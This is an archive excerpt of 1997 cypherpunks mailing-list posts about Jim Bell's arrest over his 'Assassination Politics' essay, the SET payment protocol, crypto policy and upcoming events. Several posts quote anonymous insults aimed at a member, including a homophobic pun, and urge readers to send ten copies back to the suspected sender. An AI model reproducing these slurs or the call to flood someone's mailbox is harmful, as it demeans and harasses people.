Message-ID: <Pine.LNX.3.95.970410021714.143C-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 9 Apr 1997, Greg Broiles wrote:

- -> At 04:56 AM 4/9/97 -0400, Sergey Goldgaber wrote:
- -> >The search warrant was not made public on the cpunks list.  As you can see
- -> >form the above excerpt, I was commenting on the "IRS Inspection" report,
- -> which
- -> >was virtually the first description of Jim Bell's arrest, long before there
- -> >were even requests for information on the procedures for obtaining the
- -> >search warrants, etc...
- -> 
- -> I realize that we're talking about net-time, but "long before" seems like a
- -> poor way to describe the 2-2.5 days between the appearance of the "IRS
- -> Inspection" report (which was, in fact, the transcription of newspaper story)

Time flies fast on the Internet; or haven't you noticed?  Three days of rather
heated discussion took place between the time the arrest was announced and 
your message saying that you had the warrants, etc.

- -> and the WWW publication of the warrant & accompanying material.

I saw no mention anywhere on the list of those documents being available,
only that you were considering making them available.

By the way, at the time I wrote my quoted response, you yourself had as
little "clue" as most anyone else:

 -> Date: Thu, 03 Apr 1997 12:16:19 -0800
 -> From: Greg Broiles <gbroiles@netbox.com>
 -> To: cypherpunks@toad.com
 -> Subject: Jim Bell raid
 -> 
 -> A southern Washington newspaper, The Columbian (apparently published in
 -> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
 -> its front page at http://www.columbian.com (you'll have to pick the frame for
 -> "The latest Columbian headlines") - and today's page one above-the-fold
 -> headline is "Affidavit: Internet essay solicits murder".
 -> 
 -> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
 -> haven't seen him write anything that I thought was criminal.

My message followed three hours later.  I see it was directed against your
hasty "loon" conclusion.  This explains the tone of your later message,
along with your determination.  It seems like you're taking this a little
personally.

- -> Also, Declan
- -> was posting details from the warrant within 24 hours of the initial message.

All he said was that he had them.  No details.

And all this is so nitpicky that I can't believe I even bothered originally
replying to you, merely because of the patronizing tone of your message.
I must have been having a bad day.  Today is worse, though, witness the
present message.

The rest of your post is at least intelligently worded, however, so I'm glad I
persevered through it.

- -> As far as I can tell, the events of last week haven't changed people's
- -> opinions of AP at all - people who thought it was interesting/useful still
- -> do, and people who thought it was uninteresting/stupid still do. I can't
- -> speak for other posters to the list, but I'm inclined to distance myself from
- -> AP not because I'm scared of a government raid,

Perhaps you should be!  Where's that healthy cypherpunk paranoia?  :)

- -> but because I think it's theoretically uninteresting/unremarkable, 

I think its rather interesting, at least as far as discussions of
possible consequences of cryptography are concerned.  And theory that
brings together technology and ethics is all the most interesting.

- -> politically/tactically poorly considered

His original posting was ill considered, I agree.  He did consider it much
more in the following years, you must concede.  Bell did not, afterall,
propose that we fight a land war in China.  This scheme relies mostly
on encryption and anonymity, which takes care of the tactical part.
His political agenda is at least self consistant.

- -> morally indefensible, and 

What a cro-magnon sentiment, and coming from such a bright lad.  :)
(Sorry, my turn to be patronizing :)

Morality is logically indefensible.  If it weren't for your earlier
disclaimer, saying that you're speaking only for yourself, I'd go off
on a philosophy/ethics rant.

- -> irresponsibly misleading to the extent it purports to discuss US law.

I've got to hand it to you there.  No where does he claim to be a lawyer.
However, he does give the impression of knowing the law.

- -> I don't want my comments about Jim Bell's right to discuss his silly 
- -> ideas to be confused with apologies or approval for the ideas themselves.

Duly noted.

- -> I believe Jim has every right to write essays about AP, give speeches &
- -> seminars about AP, talk about "wonderful things" all that he likes, etc.

Agreed.

- -> But
- -> the "marketplace of ideas" model, whereby good speech is expected to negate
- -> bad speech, depends on the willingness of other people to provide "good
- -> speech", or at least call "bad speech" into question. I think AP is "bad
- -> speech" in the same way the "the earth is flat" is bad speech; it is (and
- -> ought to be) legal to say it, but it's also a non-useful idea, which I hope
- -> will be abandoned in favor of more useful ideas.

Ah, an advocate of the survival of the fittest idea, and a utilitarian to boot.
Well, may your memes flourish.  However, to be consistent, you must admit
that the fittest and more "useful" ideas may have nothing to do with your
defenses of particular politics, morals, or laws.  In fact, they have as
much, or more, to with the environment that they are in as their content.
Thus, there is no "bad speech" or "good speech".  Certain ideas simply "win"
in certain circumstances.  Had the circumstances been slightly different,
different ideas would have "won".

- -> I've been ignoring (pre-raid) discussions about AP because I think that an
- -> eternal recycling of arguments is uninteresting and unproductive.

I'm following you.

- -> I think
- -> that the search of Jim's house, and its relationship to his free speech
- -> activities, is interesting - not because of the [lack of] quality of his
- -> ideas, but because I think this may be a case where law enforcement used its
- -> power to search & seize property in a punitive fashion. And that concerns me,
- -> because I think that isn't uncommon where the target is a "dissident", of one
- -> flavor or another; and I think that dissidents don't/shouldn't lose their
- -> civil rights as a consequence of their status. ("when they came for .."
- -> argument incorporated herein by reference.)

I definately and wholeheartedly agree with your sentiments here.

- -> (The search is also interesting for reasons unrelated to Jim and his ideas,
- -> because it provides insight into the level and type and timing of law
- -> enforcement access to the net, treatment of a "confidential informant", and
- -> protocol/procedure for search & seizure of computers and potentially
- -> encrypted data, etc.)

Si.

- -> But that doesn't mean that the dissidents get special respect or treatment
- -> for poor thinking. I think AP is poorly reasoned and poorly researched. (And
- -> I think that "dissident" + "poor analysis/research" + "obsessive focus" =
- -> "loon", hence my original comments.)

I disagree with your acusation concerning "poor analysis/research".  Thus
I can not agree with even your definition of "loon".  Besides, there are
other possible, sometimes contradictory, variables fitting in to this 
oversimplistic equation that would also = "loon".  For example, 
"sheep" + "religion" + "obsessive focus" = "loon"
"freethinker" + "athiest" + "obsessive focus" = "loon"
"cypherpunk" + "statist" + "obsessive focus" = "loon"

Then there's:

"obsessive focus" = "loon"

which brings up another view, namely:

"obsessive focus" = "dedication"

As far as "poor analysis/research" in and of itself goes: there have been
plenty of groundbreaking works which had very poor analysis, but were
invaluable in "showing the way".  Many of their authors were very dedicated.
And some were even, !gasp!, "dissident".  At the very least, dedication 
has often led to the publicization of ideas which are thereafter better
researched by others (we can call them "drones", "librarians", "technicians",
or even "computers").

In any case, I've long gone past the point of rambling... and long past
the general topicality of cypherpunks, so I'll shut up.

Now...  Goodnight.  :)

And, don't take this post too seriously as it is 3:41 AM here, and I'm
past the point of starting to nod off...........

zzzz......


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 10 Apr 1997 04:16:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Information Systems Security Board
Message-ID: <1.5.4.32.19970410111516.00815d90@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On December 13, 1996, representatives from The National 
Information Infrastructure (NII) Task Force of The President's 
National Security Telecommunications Advisory Committee
(NSTAC) held a meeting at Steptoe & Johnson in Washington, D.C. 
to discuss industry interest in developing an industry-run 
Information Systems Security Board (ISSB). 

Stewart Baker of Steptoe & Johnson discussed the antitrust laws 
and their application to the meeting, with particular emphasis on 
the need to avoid discussion of competitive conditions and to show
openness to all interested participants. 

Guy Copeland, a representative from the Task Force, briefly 
discussed the ISSB model and the purposes of the meeting. Will 
Ozier, Chairman of the GSSP Committee, next discussed the efforts 
of the Generally Accepted System Security Principles (GSSP) project. 

Several representatives from the Administration expressed support 
for the concept of the ISSB. These representatives also indicated 
that the Administration would like private industry to take the 
lead in this area and is more than willing to take "a back seat" 
to such an effort. These representatives did request for periodic 
updates on any industry driven initiative in this area. 

-----

For full report and links to background documents:

   http://jya.com/issb.htm

Thanks to RH.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 10 Apr 1997 06:54:21 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Reactionaries
In-Reply-To: <199704100612.XAA27490@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970410075321.34700A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Toto is another loser who pays for sick.sympatico.ca-ca 
> because he lacks the mental capacity to gain net access as 
> a perk of either employment or academic achievment.
> 
>           ,,,
>          ($ $)
>      -ooO-(_)-Ooo- To[homo]to
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 10 Apr 1997 06:56:22 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Assassination Politics
In-Reply-To: <199704100627.CAA10692@dhp.com>
Message-ID: <Pine.A41.3.95.970410075528.34700N-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 10 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Toto's abysmal grammar, atrocious spelling and 
> feeble responses clearly identify him as a product of the 
> American education system.
> 
>        >\\\|/<
>        |_    ;
>        (O) (o)
>    -OOO--(_)--OOOo- T[h]o[mo]to
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 10 Apr 1997 06:58:36 -0700 (PDT)
To: Anonymous <nobody@hidden.net>
Subject: Re: Reactionaries
In-Reply-To: <199704100619.XAA05430@swan>
Message-ID: <Pine.A41.3.95.970410075738.34700a-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Toto is another loser who pays for sick.sympatico.ca-ca 
> because he lacks the mental capacity to gain net access as 
> a perk of either employment or academic achievment.
> 
>           ,,,
>          ($ $)
>      -ooO-(_)-Ooo- To[homo]to
> 
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 11 Apr 1997 07:56:57 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"?
Message-ID: <860759798.116769.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> By that definition, markets, whether for capital or assassins, 
> are distinctly _not_ chaotic*, since most people's decisions
> 	[* Unless Life, The Universe, and Everything are really
> 	deterministic, but fate has decreed that I don't believe that...]
> about what stocks to buy/sell, and particularly the timing,
> are influenced by lots of random events - when they hear what information,
> whether they were busy doing something else when they heard, 
> whether they'd just blown their disposable income on a new car
> because that freak windstorm dropped a tree on their car the same
> week the Post Office ate their car insurance payment, 
> whether Alan Greenspan had a bad pizza the night before the quarterly 
> interest rates came out or too much caffeine before his latest speech....


I don`t really want to get into this discussion/flame war too deeply 
but I will post on this thread once...

Any of the events described above are completely determined by the 
initial conditions of the system, just because a system is too 
complex for us to measure its initial conditions in enough detail 
does not mean it is random, it simply means we see it as random. 
Hence a market`s behaviour is labeled chaotic, because it appears 
random. It is, however, completely deterministic however we cannot 
know the initial conditions because they are too complicated. 

End of chat, chaotic behaviour is NOT random, it simply appears so 
unless one can accurately measure the intial conditions.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 10 Apr 1997 07:56:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EVENT REMINDER!  Rep. Rick White on democracy.net tonight! (4/10/1997)
Message-ID: <199704101456.KAA27844@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.4              http:/www.democracy.net/            April 9 1997
_________________________________________________________________________
Table of Contents

 - REMINDER - Town Hall Meeting with Rep. Rick White (R-WA) THURS April 10.
 - Upcoming Events
 - About democracy.net
_________________________________________________________________________

    REPRESENTATIVE RICK WHITE BRINGS TOWN HALL MEETING TO CYBERSPACE

Just a reminder that Rep. Rick White (R-WA) will be live online at
democracy.net on Thursday April 10.

We hope you will stop by, ask a few questions, and join Rep. White and
Wired Magazine's Todd Lappin as we kick off the democracy.net Virtual Town
Hall meeting project.

Date:        Thursday April 10, 1997
Time:        8:30 pm ET (5:30 pm Pacific) Event will last approx. 45 min
Location:    http://www.democracy.net

           You will need RealAudio and a telnet application
         (available free at http://www.democracy.net/software)

Rep. White is the co-founder of the Congressional Internet Caucus, an
opponent of the CDA, and a leading voice in Congress on Internet policy
issues.  White will discuss current Internet issues and respond to your
questions.

You can submit questions for Rep. White in advance by visiting
http://www.democracy.net

___________________________________________________________________________
UPCOMING EVENTS

Wednesday April 16 - 8:30 pm ET (5:30 pm Pacific)

Representative Anna Eshoo (D-CA)

Eshoo, who represents California's Silicon Valley, is co-sponsor of the
SAFE bill to ease government controls on encryption technologies and has
recently set up the first interactive "Virtual District Office" in the
Congress.

Join Representative Eshoo and democracy.net live online.  Details are
available at http://www.democracy.net/

___________________________________________________________________________
ABOUT DEMOCRACY.NET

democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/
__________________________________________________________________________
end update no.4                                                  04/09/97
===========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Apr 1997 11:00:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cato/Brookings conference on "Regulation in the Digital Age"
Message-ID: <Pine.GSO.3.95.970410110026.22909E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 10 Apr 1997 10:59:53 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Cato/Brookings conference on "Regulation in the Digital Age"

[Robert Bork weighs in on the CDA -- who can pass that up? This promises
to be a fabulous conference. --Declan]


---------- Forwarded message ----------
Date: Thu, 10 Apr 1997 05:35:01 -0400 (EDT)
From: Solveig Bernstein <sberns@cato.org>
To: Declan McCullagh <declan@well.com>
Subject: Digital Regulation Conference

Declan, would you please post this to fight-censorship with an invitation to
repost freely.

Cato and Brookings have a really interesting conference lined up for April
17/18 in DC.  I'm particularly looking forward to seeing Bob Corn-Revere
debating former Judge Bork on content controls.  We've decided to waive the
registration fee for students, professors, teachers, policymakers, and those
in the public interest community.  Feel free to join us--email Julie to rsvp
at jbriggs@cato.org or call (202) 789-5296.

REGISTRATION FEE HAS BEEN WAIVED FOR NONPROFITS, EDUCATORS, STUDENTS, AND
POLICYMAKERS!!!

****************************************************************
 C A T O . B R O O K I N G S @ C A P I T A L_H I L T O N . A P R I L 1 7 / 1
8 / 1 9 9 7     

Regulation in the Digital Age

                                   Schedule of Speakers 

 THURSDAY, APRIL 17, 1997

 8:00 - 8:30 a.m. Registration
 8:30 - 8:45 a.m. Welcoming Remarks: Robert Litan, Director, Economic
Studies Program, Brookings Institution,
 and William Niskanen, Cato Institute

 8:45 - 10:15 a.m. Does the Digital Age Require a New Approach to Regulation
(If So, What Is It)?
      Michael Katz, University of California, Berkeley
      Lawrence J. White, New York University
      Peter Pitsch, Pitsch Communications
      Richard E. Wiley, Wiley, Rein & Fielding

 10:15 - 10:30 a.m. Break

 10:30 - 12:00 a.m. Does the Digital Age Require a New Approach to Antitrust?
      Donald I. Baker, Baker & Miller
      Robert E. Hall, Stanford University
      Timothy F. Bresnahan, Stanford University
      Thomas Hazlett, University of California, Davis

 11:30 - 1:00 p.m. Luncheon and Luncheon Address: "Implications of the
Digital Age for Democratic Government:
 A Dialogue," Thomas E. Mann, The Brookings Institution, and William
Niskanen, Cato Institute

 2:00 a.m. - 3:45 p.m. Making Global Commerce Happen 
 (including Intellectual Property, Encryption, Privacy, UCC Contracts,
Anti-fraud, and Tax Issues)
      Anne Branscomb, Harvard University
      Dorthy E. Denning, Georgetown Computer Science
      David Post, Georgetown University Law School
      Kenneth W. Dam, University of Chicago Law School
      Whitfield Diffie, Sun Microsystems

 3:45 - 4:00 p.m. Break

 4:00 - 5:15 p.m. Professional Licensing
      Joel Hyatt, Hyatt Legal Services
      Robert Waters, Arent Fox
      Jay Sanders, American Telemedicine Association

 5:45 - 6:15 Reception

 6:15 - 8:00 p.m. Dinner and Dinner Address: "Regulation the Telecosm,"
George Gilder, The Discovery Institute

 FRIDAY, APRIL 18, 1997

 8:30 - 9:30 a.m. Regulating Content (Culture, Pornography, and Libel)
      Robert Bork, American Enterprise Institute
      Patrick Vittet-Phillip, European Union
	Bob Corn-Revere, Hogan & Hartson
                Nadine Strossen, ACLU (invited)

 9:30 - 10:30 a.m. Standards and Interoperability
      Cynthia Beltz, American Enterprise Institute
      Jeff Rohlfs, Strategic Policy Institute
      Daniel L. Brenner, National Cable Television Association

 10:30-10:45 a.m. Break

 10:45 - 11:45 a.m. Ensuring Access
      Robert W. Crandall, The Brookings Institution
      Jonathan Sallett, MCI
      Lawrence Gasman, Cato Institute
      Lawrence Strickling, Ameritech

 11:45 - 1:15 p.m. Luncheon and Luncheon Address: "Birth of the Digital
Nation," Louis Rossetto, Editor &
 Publisher of Wired.



                       News media please email or call Robin Hulsey at (202)
789-5293. 

                                      THE CAPITAL HILTON
                                      16th & K STREETS, NW
                                        WASHINGTON, DC


                                      Click above for pricing and
                                        registration information

                                    Return to the Cato Home Page


Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 10 Apr 1997 08:09:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Internet security code said vulnerable to hackers
Message-ID: <v0302091faf72b28c4bf2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "Joseph M. Reagle Jr." <reagle@rpcp.mit.edu>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 10 Apr 1997 09:47:06 -0400
From: "Joseph M. Reagle Jr." <reagle@rpcp.mit.edu>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Internet security code said vulnerable to hackers

This is one screwed up story. I don't know what they are actually trying to
say, but the guy from MasterCard isn't helping. (I stick my two derisive
comments into the story. <smile>)

Forwarded Text ----

  	 ATLANTA, April 9 (Reuter) - The new security protocol for
  safeguarding credit-card transactions on the Internet may have
  to change because the underlying cryptography is too easy to
  hack through and too difficult to upgrade, an expert said
  Wednesday.
  	 Steve Mott, senior vice president of electronic commerce
  and new ventures for MasterCard International, said it could
  take hackers as little as a year to break the industry's
  standard encryption code, which is supposed to render
  credit-card numbers unreadable to outsiders on the Internet's
  World Wide Web.
  	 For that reason, the consortium of technology companies
  and creditors that has spent two years years developing the
  Secure Electronic Transaction (SET) protocol may switch to a
  faster encryption system called Elliptic Curve, which is
  produced by Certicom Corp.
  	 The first complete version of SET, known as SET 1.0, will
  be available to software makers June 1 with core cryptography
  provided by RSA Data Security, a unit of Security Dynamics
  Technologies Inc.
  	 ``RSA is a very good starting point. But we suspect that in
  a year or two, the Kevin Mitnicks of the world will start to
  figure out ways to hack it,'' Mott said. Mitnick is one of the
  most notorious computer hackers.

[This is stupid mixing "hackers" with key lengths. Kevin Mitnick doesn't
have didley to do with encryption. He just grabbed a huge CC plain text file
off of netcom file system. Should have said Ian Goldberg, or the folks at
Ecole Polytechnique in Paris or MIT.]

  	 ``The only way you scale an RSA is to add a lot more bits.
  You add a lot more bits and it becomes more complex software
  in terms of the interaction of the transaction messages.
  That's part of what's taken SET so long to start with.''

[This is a hoot! Adding a longer key length makes the software more complex!
And THIS is what has held up SET!!!?? <grin>]

  	 MasterCard has been helping put together merchants with
  its own member banks for SET pilot projects in Denmark, Japan,
  Taiwan, South Africa and the United States.
  	 Mott told a news conference at the Internet Commerce Expo
  that the Elliptic Curve encryption system would make a better
  encryption core. In fact, he said it would have been chosen in
  the first place if developers had been known about it.
  	 ``It will fit on a chip card. I think its 160 bits equals
  security to 1,024 bits of RSA,'' the credit industry executive
  said. ``We anticipate putting it into some SET 1.0 pilots in
  the very near future this year in the U.S.''
  	 Far from being disturbed by the possibility of hackers
  getting through the current SET cryptography, Mott said SET's
  developers would ``give them an award and a ribbon and then
  embody whatever they did as part of the improvements'' in the
  next version of security standards.
  	 ``The current version for SET is as safe as anybody can
  make it,'' he said.

End Forwarded Text ----

_______________________
Regards,   A man's dreams are an index to his greatness.
           -Zadok Rabinwitz
Joseph Reagle     http://web.mit.edu/reagle/www/
reagle@mit.edu    E0 D5 B2 05 B6 12 DA 65  BE 4D E3 C1 6A 66 25 4E
----------
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Apr 1997 15:27:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Wassenaar Arrangement and public domain software
Message-ID: <Pine.GSO.3.95.970410152435.13611A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


The courier showed up, and I'm now at home changing in preparation for a
soccer game (I'm part of a libertarian soccer team), but thought I'd post
a brief note about the W.A. 

It says: "The Lists do not control 'software' which is either generally
available to the public... or in the public domain."

So what's the fuss about? Hmm....

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 10 Apr 1997 16:03:08 -0700 (PDT)
To: adam@homeport.org
Subject: Re: Internet security code said vulnerable to hackers
In-Reply-To: <199704102105.QAA24800@homeport.org>
Message-ID: <199704102301.QAA03947@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
> 
> Robert Hettinga wrote:
> 
> |   	 ATLANTA, April 9 (Reuter) - The new security protocol for
> 
> |   	 Steve Mott, senior vice president of electronic commerce
> |   and new ventures for MasterCard International, said it could
> |   take hackers as little as a year to break the industry's
> |   standard encryption code, which is supposed to render
> |   credit-card numbers unreadable to outsiders on the Internet's
> |   World Wide Web.
> 
> 	The security problem with SET is not its crypto, but its
> complexity, which makes it impossible to determine if the thing is
> secure or not.  Its also a nightmare to implement, and was supposed to
> be ready six months ago.


"Security through incomprehensibility".


Set's problem, or one of them anyhow, is that it uses ASN.1.  ASN.1
is useful for some things, but it really sucks as a description of
a protocol.  It is incredibly complex and figuring out the actual
contents of a given message is very difficult.   There is little description
in the SET documents of the protocol itself; the definition is pretty much
left up to the ASN.1.
The ASN.1 by itself often fails to describe what is in an object, i.e.
a gkThumb is an object of type CertThumb, which is defined in ASN.1 as:

CertThumb ::= SEQUENCE {
 digestAlgorithm   DAlgorithmIdentifier -- (sha1)--,
 thumbprint        Digest
 }

But the ASN.1 doesn't say what data is hashed in the Digest.
So you have to flip back to the text and hope there's a description
of what is hashed.   Sometimes there is, sometimes there isn't.


BTW, Set was the name of an old Egyptian god, the one who slew Osirius.
Brewers' Dictionary of Phrase and Fable says under the entry for Set that he
"came to be regarded as the incarnation of evil".

-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 10 Apr 1997 14:08:04 -0700 (PDT)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: Internet security code said vulnerable to hackers
In-Reply-To: <v0302091faf72b28c4bf2@[139.167.130.246]>
Message-ID: <199704102105.QAA24800@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

| Date:  Thu, 10 Apr 1997 09:47:06 -0400
| From: "Joseph M. Reagle Jr." <reagle@rpcp.mit.edu>
| To: Multiple recipients of <e$@thumper.vmeng.com>

|   	 ATLANTA, April 9 (Reuter) - The new security protocol for

|   	 Steve Mott, senior vice president of electronic commerce
|   and new ventures for MasterCard International, said it could
|   take hackers as little as a year to break the industry's
|   standard encryption code, which is supposed to render
|   credit-card numbers unreadable to outsiders on the Internet's
|   World Wide Web.

	The security problem with SET is not its crypto, but its
complexity, which makes it impossible to determine if the thing is
secure or not.  Its also a nightmare to implement, and was supposed to
be ready six months ago.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 13:43:46 -0700 (PDT)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Information Systems Security Board
Message-ID: <01BC45CF.1CE02650@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




"John Young" <jya@pipeline.com> wrote in article <5iil75$n93@life.ai.mit.edu>...
> On December 13, 1996, representatives from The National 
> Information Infrastructure (NII) Task Force of The President's 
> National Security Telecommunications Advisory Committee
> (NSTAC) held a meeting at Steptoe & Johnson in Washington, D.C. 
> to discuss industry interest in developing an industry-run 
> Information Systems Security Board (ISSB). 
> 
> Stewart Baker of Steptoe & Johnson discussed the antitrust laws 
> and their application to the meeting, with particular emphasis on 
> the need to avoid discussion of competitive conditions and to show
> openness to all interested participants. 


I would consider such a proposal from Suart Baker to involve an unfortunate conflict of interest. As one of the people who makes his living as a fixer enabling people to comply with the export control laws he does not have an interest in pressing for reform of the anti-crypto regulations that stop computer security sdystems being used.

He is like the owner of a NYC taxi medallion. His 'property' has no legitimate value but he has an interest to continue the legal distortions that keep it in place.

	Phill  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 13:43:50 -0700 (PDT)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Re: Reporters, Declan, Columns, Articles, and Angles
